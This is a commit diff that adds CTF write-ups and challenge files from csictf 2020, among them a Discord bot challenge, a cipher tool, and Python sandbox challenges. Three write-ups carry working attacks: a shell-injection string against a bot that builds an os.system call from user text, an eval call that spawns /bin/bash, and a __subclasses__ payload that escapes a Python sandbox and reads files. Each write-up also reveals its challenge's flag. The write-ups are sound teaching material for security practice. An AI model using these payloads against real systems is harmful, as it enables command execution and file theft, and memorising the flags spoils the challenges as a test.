Added Miscellaneous Challenges
This commit is contained in:
		
							parent
							
								
									783e212ca7
								
							
						
					
					
						commit
						aca8780568
					
				| 
						 | 
				
			
			@ -0,0 +1,34 @@
 | 
			
		|||
## BroBot
 | 
			
		||||
The main idea finding the flag is just using Bot to get the flag.
 | 
			
		||||
 | 
			
		||||
#### Step-1:
 | 
			
		||||
I tried `/about` to get information about the bot and got this:
 | 
			
		||||
 | 
			
		||||
```python
 | 
			
		||||
CTF - https://ctf.csivit.com/
 | 
			
		||||
Our Team - https://ctftime.org/team/77170/
 | 
			
		||||
Homepage - https://csivit.com/
 | 
			
		||||
Contribute - https://github.com/alias-rahil/speakingbot.git/
 | 
			
		||||
CTF Support - https://discord.com/invite/9wHPB2B/
 | 
			
		||||
BoT Support - @alias_rahil
 | 
			
		||||
```
 | 
			
		||||
#### Step-2:
 | 
			
		||||
I used `/text2voice`. I linked to the source of the bot. It writes our text as `arg` for `echo` in a bash script. Then pipes the script's output to `espeak` to get the sound.
 | 
			
		||||
 | 
			
		||||
#### Step-3:
 | 
			
		||||
I got this from [writeup](https://github.com/goswami-rahul/ctf/tree/master/csictf2020/brobot) to execute. 
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
fs = open(f"/home/ctf/{update.message.from_user.id}", "w")
 | 
			
		||||
    fs.write(f"echo '{text}'")
 | 
			
		||||
    fs.close()
 | 
			
		||||
    os.system(
 | 
			
		||||
        f"su ctf -c 'sh /home/ctf/{update.message.from_user.id} | espeak -w /home/ctf/{update.message.from_user.id}.wav --stdin'"
 | 
			
		||||
)
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Then a simple `';cat flag.txt;'` gives us the answer.
 | 
			
		||||
 | 
			
		||||
#### Step-4:
 | 
			
		||||
Finally the flag becomes:
 | 
			
		||||
`csictf{ai_will_take_over_the_world}`
 | 
			
		||||
										
											Binary file not shown.
										
									
								
							| 
		 After Width: | Height: | Size: 18 KiB  | 
| 
						 | 
				
			
			@ -0,0 +1,84 @@
 | 
			
		|||
## Escape Plan
 | 
			
		||||
The main idea finding the flag is just spawning into a sandbox.
 | 
			
		||||
 | 
			
		||||
#### Step-1:
 | 
			
		||||
When we run `nc chall.csivit.com 30419`, we are greeted with,
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
Welcome to cipher decoder, an open-source script in python!
 | 
			
		||||
 | 
			
		||||
EXAMPLES:
 | 
			
		||||
    shift_cipher_key('hello', 25)
 | 
			
		||||
    shift_cipher_bruteforce('hello')
 | 
			
		||||
    encrypt_vigenere('TEXT', 'KEY')
 | 
			
		||||
    decrypt_vigenere('DIVD', 'KEY')
 | 
			
		||||
 | 
			
		||||
Currently supported ciphers:
 | 
			
		||||
    shift_cipher_key(text, shift)
 | 
			
		||||
    shift_cipher_bruteforce(text)
 | 
			
		||||
    encrypt_vigenere(plaintext, key)
 | 
			
		||||
    decrypt_vigenere(ciphertext, key)
 | 
			
		||||
 | 
			
		||||
To exit:
 | 
			
		||||
    exit()
 | 
			
		||||
 | 
			
		||||
I am constantly trying to make this cipher decoder better and more secure! Help me add support to more ciphers by submitting a PR!
 | 
			
		||||
Hope it helps you!
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
#### Step-2:
 | 
			
		||||
So to escape, I tried `eval('__import__("os").system("/bin/bash")')` and I was in.
 | 
			
		||||
 | 
			
		||||
Once in I directly checked, `ls -al`, and I got this:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
total 20
 | 
			
		||||
drwxr-x--- 1 root ctf  4096 Jul 22 06:35 .
 | 
			
		||||
drwxr-xr-x 1 root root 4096 Jul 26 16:58 ..
 | 
			
		||||
drwxr-x--- 1 root ctf  4096 Jul 22 06:27 .git
 | 
			
		||||
-rwxr-x--- 1 root ctf  2654 Jul 22 06:27 crypto.py
 | 
			
		||||
-rwxr-x--- 1 root ctf    52 Jul 22 06:27 start.sh
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
#### Step-3:
 | 
			
		||||
I checked other files, but I will stick to procedure here. Since the description involved a PR, I checked `.git` first by `cd .git`. I got usual files:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
COMMIT_EDITMSG
 | 
			
		||||
HEAD
 | 
			
		||||
config
 | 
			
		||||
description
 | 
			
		||||
hooks
 | 
			
		||||
index
 | 
			
		||||
info
 | 
			
		||||
logs
 | 
			
		||||
objects
 | 
			
		||||
packed-refs
 | 
			
		||||
refs
 | 
			
		||||
```
 | 
			
		||||
At this point, I generally check `logs` to get an overview over the changes in the repo, but here the permission was denied.
 | 
			
		||||
 | 
			
		||||
#### Step-4:
 | 
			
		||||
So, I checked config files by `cat config` and I got this:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
[core]
 | 
			
		||||
	repositoryformatversion = 0
 | 
			
		||||
	filemode = true
 | 
			
		||||
	bare = false
 | 
			
		||||
	logallrefupdates = true
 | 
			
		||||
[remote "origin"]
 | 
			
		||||
	url = https://github.com/alias-rahil/crypto-cli
 | 
			
		||||
	fetch = +refs/heads/*:refs/remotes/origin/*
 | 
			
		||||
[branch "master"]
 | 
			
		||||
	remote = origin
 | 
			
		||||
	merge = refs/heads/master
 | 
			
		||||
```
 | 
			
		||||
#### Step-4:
 | 
			
		||||
Now, I got a URL and checked at the given head and got the flag.
 | 
			
		||||
 | 
			
		||||
<img src="Flag.png">
 | 
			
		||||
 | 
			
		||||
#### Step-5:
 | 
			
		||||
Finally the flag becomes:
 | 
			
		||||
`csictf{2077m4y32_h45_35c4p3d}`
 | 
			
		||||
| 
						 | 
				
			
			@ -0,0 +1,226 @@
 | 
			
		|||
## Friends
 | 
			
		||||
The main idea finding the flag is just parsing the input smartly.
 | 
			
		||||
 | 
			
		||||
#### Step-1:
 | 
			
		||||
When we download `namo.py`, we are greeted with:
 | 
			
		||||
 | 
			
		||||
```python
 | 
			
		||||
import math
 | 
			
		||||
import sys
 | 
			
		||||
 | 
			
		||||
def fancy(x):
 | 
			
		||||
    a = (1/2) * x
 | 
			
		||||
    b = (1/2916) * ((27 * x - 155) ** 2)
 | 
			
		||||
    c = 4096 / 729
 | 
			
		||||
    d = (b - c) ** (1/2)
 | 
			
		||||
    e = (a - d - 155/54) ** (1/3)
 | 
			
		||||
    f = (a + d - 155/54) ** (1/3)
 | 
			
		||||
    g = e + f + 5/3
 | 
			
		||||
    return g
 | 
			
		||||
 | 
			
		||||
def notfancy(x):
 | 
			
		||||
    return x**3 - 5*x**2 + 3*x + 10
 | 
			
		||||
 | 
			
		||||
def mathStuff(x):
 | 
			
		||||
    if (x < 3 or x > 100):
 | 
			
		||||
        exit()
 | 
			
		||||
 | 
			
		||||
    y = fancy(notfancy(x))
 | 
			
		||||
 | 
			
		||||
    if isinstance(y, complex):
 | 
			
		||||
        y = float(y.real)
 | 
			
		||||
 | 
			
		||||
    y = round(y, 0)
 | 
			
		||||
    return y
 | 
			
		||||
 | 
			
		||||
print("Enter a number: ")
 | 
			
		||||
sys.stdout.flush()
 | 
			
		||||
x = round(float(input()), 0)
 | 
			
		||||
if x == mathStuff(x):
 | 
			
		||||
    print('Fail')
 | 
			
		||||
    sys.stdout.flush()
 | 
			
		||||
else:
 | 
			
		||||
    print(open('namo.txt').read())
 | 
			
		||||
    sys.stdout.flush()
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
#### Step-2:
 | 
			
		||||
So I tried basic numbers and it worked according to the given algorithm but however, we could try a float `nan` and then I ran it along with the remote server to enter the `else` condition at the end.
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
echo nan | nc chall.csivit.com 30425
 | 
			
		||||
```
 | 
			
		||||
Output:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
Enter a number: 
 | 
			
		||||
Mitrooon
 | 
			
		||||
bhaiyo aur behno "Enter a number"
 | 
			
		||||
mann ki baat nambar
 | 
			
		||||
 | 
			
		||||
agar nambar barabar 1 hai {
 | 
			
		||||
	bhaiyo aur behno "s"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 13 hai {
 | 
			
		||||
	bhaiyo aur behno "_"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 15 hai {
 | 
			
		||||
	bhaiyo aur behno "5"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 22 hai {
 | 
			
		||||
	bhaiyo aur behno "4"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 28 hai {
 | 
			
		||||
	bhaiyo aur behno "k"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 8 hai {
 | 
			
		||||
	bhaiyo aur behno "y"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 17 hai {
 | 
			
		||||
	bhaiyo aur behno "4"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 9 hai {
 | 
			
		||||
	bhaiyo aur behno "_"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 4 hai {
 | 
			
		||||
	bhaiyo aur behno "t"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 3 hai {
 | 
			
		||||
	bhaiyo aur behno "c"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 20 hai {
 | 
			
		||||
	bhaiyo aur behno "r"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 12 hai {
 | 
			
		||||
	bhaiyo aur behno "n"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 0 hai {
 | 
			
		||||
	bhaiyo aur behno "c"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 23 hai {
 | 
			
		||||
	bhaiyo aur behno "t"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 27 hai {
 | 
			
		||||
	bhaiyo aur behno "0"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 10 hai {
 | 
			
		||||
	bhaiyo aur behno "n"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 11 hai {
 | 
			
		||||
	bhaiyo aur behno "4"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 7 hai {
 | 
			
		||||
	bhaiyo aur behno "m"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 25 hai {
 | 
			
		||||
	bhaiyo aur behno "c"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 24 hai {
 | 
			
		||||
	bhaiyo aur behno "_"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 6 hai {
 | 
			
		||||
	bhaiyo aur behno "{"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 16 hai {
 | 
			
		||||
	bhaiyo aur behno "_"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 18 hai {
 | 
			
		||||
	bhaiyo aur behno "_"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 2 hai {
 | 
			
		||||
	bhaiyo aur behno "i"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 5 hai {
 | 
			
		||||
	bhaiyo aur behno "f"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 19 hai {
 | 
			
		||||
	bhaiyo aur behno "g"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 14 hai {
 | 
			
		||||
	bhaiyo aur behno "1"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 21 hai {
 | 
			
		||||
	bhaiyo aur behno "3"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 26 hai {
 | 
			
		||||
	bhaiyo aur behno "0"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
nahi toh agar nambar barabar 29 hai {
 | 
			
		||||
	bhaiyo aur behno "}"
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
nahi toh {
 | 
			
		||||
	bhaiyo aur behno ""
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
achhe din aa gaye
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
#### Step-3:
 | 
			
		||||
Simple substitution like 0=c, 1=s, 2=i in the context of flag like `csictf{`, would also work. Instead I got this script to get the flag.
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
echo nan | nc chall.csivit.com 30425 | grep -A1 'hai {' | sed 's/agar nambar barabar //' | sed 's/nahi toh //' | sed 's/ hai {$/ =/' | sed 's/^\tbhaiyo aur behno \"//' | sed 's/\"$//' | sed 's/--//' | sed ':a;N;$!ba;s/=\n/ /g' | sort -n | uniq | awk '{print $2}' | tr -d '\n'; echo ''
 | 
			
		||||
```
 | 
			
		||||
This is a 1 liner and we get the flag after this.
 | 
			
		||||
 | 
			
		||||
#### Step-5:
 | 
			
		||||
Finally the flag becomes:
 | 
			
		||||
`csictf{my_n4n_15_4_gr34t_c00k}`
 | 
			
		||||
| 
						 | 
				
			
			@ -0,0 +1,38 @@
 | 
			
		|||
import math
 | 
			
		||||
import sys
 | 
			
		||||
 | 
			
		||||
def fancy(x):
 | 
			
		||||
    a = (1/2) * x
 | 
			
		||||
    b = (1/2916) * ((27 * x - 155) ** 2)
 | 
			
		||||
    c = 4096 / 729
 | 
			
		||||
    d = (b - c) ** (1/2)
 | 
			
		||||
    e = (a - d - 155/54) ** (1/3)
 | 
			
		||||
    f = (a + d - 155/54) ** (1/3)
 | 
			
		||||
    g = e + f + 5/3
 | 
			
		||||
    return g
 | 
			
		||||
 | 
			
		||||
def notfancy(x):
 | 
			
		||||
    return x**3 - 5*x**2 + 3*x + 10
 | 
			
		||||
 | 
			
		||||
def mathStuff(x):
 | 
			
		||||
    if (x < 3 or x > 100):
 | 
			
		||||
        exit()
 | 
			
		||||
 | 
			
		||||
    y = fancy(notfancy(x))
 | 
			
		||||
 | 
			
		||||
    if isinstance(y, complex):
 | 
			
		||||
        y = float(y.real)
 | 
			
		||||
 | 
			
		||||
    y = round(y, 0)
 | 
			
		||||
    return y
 | 
			
		||||
 | 
			
		||||
print("Enter a number: ")
 | 
			
		||||
sys.stdout.flush()
 | 
			
		||||
x = round(float(input()), 0)
 | 
			
		||||
if x == mathStuff(x):
 | 
			
		||||
    print('Fail')
 | 
			
		||||
    sys.stdout.flush()
 | 
			
		||||
else:
 | 
			
		||||
    print(open('namo.txt').read())
 | 
			
		||||
    sys.stdout.flush()
 | 
			
		||||
    
 | 
			
		||||
| 
						 | 
				
			
			@ -0,0 +1,51 @@
 | 
			
		|||
## Machine Fix
 | 
			
		||||
The main idea finding the flag is just understanding the algorithm.
 | 
			
		||||
 | 
			
		||||
#### Step-1:
 | 
			
		||||
 | 
			
		||||
After I downloaded `code.py`, I tried to understand the workflow here:
 | 
			
		||||
 | 
			
		||||
```python
 | 
			
		||||
def convert (n):
 | 
			
		||||
    if n == 0:
 | 
			
		||||
        return '0'
 | 
			
		||||
    nums = []
 | 
			
		||||
    while n:
 | 
			
		||||
        n, r = divmod(n, 3)
 | 
			
		||||
        nums.append(str(r))
 | 
			
		||||
    return ''.join(reversed(nums))
 | 
			
		||||
 | 
			
		||||
count=0
 | 
			
		||||
n=1
 | 
			
		||||
while(n<=523693181734689806809285195318):
 | 
			
		||||
	str1=convert(n)
 | 
			
		||||
	str2=convert(n-1)
 | 
			
		||||
	str2='0'*(len(str1)-len(str2))+str2
 | 
			
		||||
	for i in range(len(str1)):
 | 
			
		||||
		if(str1[i]!=str2[i]):
 | 
			
		||||
			count+=1
 | 
			
		||||
	n+=1
 | 
			
		||||
 | 
			
		||||
print(count)
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
#### Step-2:
 | 
			
		||||
For every number n, n and n - 1 are converted to base 3 & then, the program compare the digits, the number of differences is added to total.
 | 
			
		||||
 | 
			
		||||
So I wrote a simple `flag.py` script to get flag:
 | 
			
		||||
 | 
			
		||||
```python
 | 
			
		||||
def flag(n):
 | 
			
		||||
    sum = 0
 | 
			
		||||
    while (n > 0):
 | 
			
		||||
        sum += n
 | 
			
		||||
        n //= 3
 | 
			
		||||
    return sum
 | 
			
		||||
 | 
			
		||||
print(flag(523693181734689806809285195318))
 | 
			
		||||
```
 | 
			
		||||
On running it by `python3 flag.py`
 | 
			
		||||
 | 
			
		||||
#### Step-3:
 | 
			
		||||
Finally the flag becomes:
 | 
			
		||||
`csictf{785539772602034710213927792950}`
 | 
			
		||||
| 
						 | 
				
			
			@ -0,0 +1,21 @@
 | 
			
		|||
def convert (n):
 | 
			
		||||
    if n == 0:
 | 
			
		||||
        return '0'
 | 
			
		||||
    nums = []
 | 
			
		||||
    while n:
 | 
			
		||||
        n, r = divmod(n, 3)
 | 
			
		||||
        nums.append(str(r))
 | 
			
		||||
    return ''.join(reversed(nums))
 | 
			
		||||
 | 
			
		||||
count=0
 | 
			
		||||
n=1
 | 
			
		||||
while(n<=523693181734689806809285195318):
 | 
			
		||||
	str1=convert(n)
 | 
			
		||||
	str2=convert(n-1)
 | 
			
		||||
	str2='0'*(len(str1)-len(str2))+str2
 | 
			
		||||
	for i in range(len(str1)):
 | 
			
		||||
		if(str1[i]!=str2[i]):
 | 
			
		||||
			count+=1
 | 
			
		||||
	n+=1
 | 
			
		||||
 | 
			
		||||
print(count)
 | 
			
		||||
| 
						 | 
				
			
			@ -0,0 +1,8 @@
 | 
			
		|||
def flag(n):
 | 
			
		||||
    sum = 0
 | 
			
		||||
    while (n > 0):
 | 
			
		||||
        sum += n
 | 
			
		||||
        n //= 3
 | 
			
		||||
    return sum
 | 
			
		||||
 | 
			
		||||
print(flag(523693181734689806809285195318))
 | 
			
		||||
										
											Binary file not shown.
										
									
								
							| 
		 After Width: | Height: | Size: 156 KiB  | 
| 
						 | 
				
			
			@ -0,0 +1,15 @@
 | 
			
		|||
## No DIStractions
 | 
			
		||||
The main idea finding the flag is getting the flag from Discord Bot.
 | 
			
		||||
 | 
			
		||||
#### Step-1:
 | 
			
		||||
 | 
			
		||||
The tag `Discord` clearly implies that you have to check something out there. So, I went to misc channel and checked out this bot called `Kuwu`.
 | 
			
		||||
 | 
			
		||||
#### Step-2:
 | 
			
		||||
After trying `flag`, `./flag`, etc., it worked on `.flag`.
 | 
			
		||||
 | 
			
		||||
<img src ="Flag.png">
 | 
			
		||||
 | 
			
		||||
#### Step-3:
 | 
			
		||||
Finally the flag becomes:
 | 
			
		||||
`csictf{m0r3_huMaN_than_Y0u}`
 | 
			
		||||
| 
						 | 
				
			
			@ -0,0 +1,79 @@
 | 
			
		|||
## Prison Break
 | 
			
		||||
The main idea finding the flag is just escaping Python Sandbox.
 | 
			
		||||
 | 
			
		||||
#### Step-1:
 | 
			
		||||
After I ran `nc chall.csivit.com 30407`, we get this a python sandbox.
 | 
			
		||||
 | 
			
		||||
I tried various commands like flag and ctf and all, but nothing worked.
 | 
			
		||||
 | 
			
		||||
#### Step-2:
 | 
			
		||||
Thanks to organiser, they gave some hint: https://ctf-wiki.github.io/ctf-wiki/pwn//linux/sandbox/python-sandbox-escape/
 | 
			
		||||
 | 
			
		||||
#### Step-3:
 | 
			
		||||
There I got this 1 liner to escape the sandbox.
 | 
			
		||||
 | 
			
		||||
**Payload:**
 | 
			
		||||
```python
 | 
			
		||||
print(().__class__.__bases__[0].__subclasses__()[40](__file__).read())
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
I got the source code, which had the flag.
 | 
			
		||||
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/python
 | 
			
		||||
 | 
			
		||||
import sys
 | 
			
		||||
 | 
			
		||||
class Sandbox(object):
 | 
			
		||||
    def execute(self, code_string):
 | 
			
		||||
        exec(code_string)
 | 
			
		||||
        sys.stdout.flush()
 | 
			
		||||
 | 
			
		||||
sandbox = Sandbox()
 | 
			
		||||
 | 
			
		||||
_raw_input = raw_input
 | 
			
		||||
 | 
			
		||||
main = sys.modules["__main__"].__dict__
 | 
			
		||||
orig_builtins = main["__builtins__"].__dict__
 | 
			
		||||
 | 
			
		||||
builtins_whitelist = set((
 | 
			
		||||
    #exceptions
 | 
			
		||||
    'ArithmeticError', 'AssertionError', 'AttributeError', 'Exception',
 | 
			
		||||
 | 
			
		||||
    #constants
 | 
			
		||||
    'False', 'None', 'True',
 | 
			
		||||
 | 
			
		||||
    #types
 | 
			
		||||
    'basestring', 'bytearray', 'bytes', 'complex', 'dict',
 | 
			
		||||
 | 
			
		||||
    #functions
 | 
			
		||||
    'abs', 'bin', 'dir', 'help'
 | 
			
		||||
 | 
			
		||||
    # blocked: eval, execfile, exit, file, quit, reload, import, etc.
 | 
			
		||||
))
 | 
			
		||||
 | 
			
		||||
for builtin in orig_builtins.keys():
 | 
			
		||||
    if builtin not in builtins_whitelist:
 | 
			
		||||
        del orig_builtins[builtin]
 | 
			
		||||
 | 
			
		||||
print("Find the flag.")
 | 
			
		||||
sys.stdout.flush()
 | 
			
		||||
 | 
			
		||||
def flag_function():
 | 
			
		||||
    flag = "csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k}"
 | 
			
		||||
 | 
			
		||||
while 1:
 | 
			
		||||
    try:
 | 
			
		||||
        sys.stdout.write(">>> ")
 | 
			
		||||
        sys.stdout.flush()
 | 
			
		||||
        code = _raw_input()
 | 
			
		||||
        sandbox.execute(code)
 | 
			
		||||
 | 
			
		||||
    except Exception:
 | 
			
		||||
        print("You have encountered an error.")
 | 
			
		||||
        sys.stdout.flush()
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
#### Step-4:
 | 
			
		||||
Finally the flag becomes:
 | 
			
		||||
`csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k}`
 | 
			
		||||
		Loading…
	
		Reference in New Issue